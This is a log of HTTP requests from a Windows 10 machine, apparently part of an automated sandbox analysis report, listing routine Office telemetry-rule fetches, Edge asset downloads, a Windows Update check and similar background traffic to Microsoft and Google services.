Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=fCffmR9T6p46NmN&MD=ZeOoucls HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1Host: apis.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1Host: api.edgeoffer.microsoft.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AYA8VyyVmiyWvldTRU0qGaR4RUSL6-YrG6uKRsMPsRWu4uzTWsENQ0Oe4TwjJlNxU5Vx3wW0XCsKQHAJ2XkWCO0eQ7UF3N9B6xg6w6N4ZQ_ezL5_s1EfR63s25vMOuhpdI4AxlKa5cntVqVuAOGwNK_pRVduNn5fPIzZ/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_83_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: EntityExtractionDomainsConfigSec-Mesh-Client-Edge-Version: 117.0.2045.55Sec-Mesh-Client-Edge-Channel: stableSec-Mesh-Client-OS: WindowsSec-Mesh-Client-OS-Version: 10.0.19045Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-WebView: 0Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: ShorelineSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
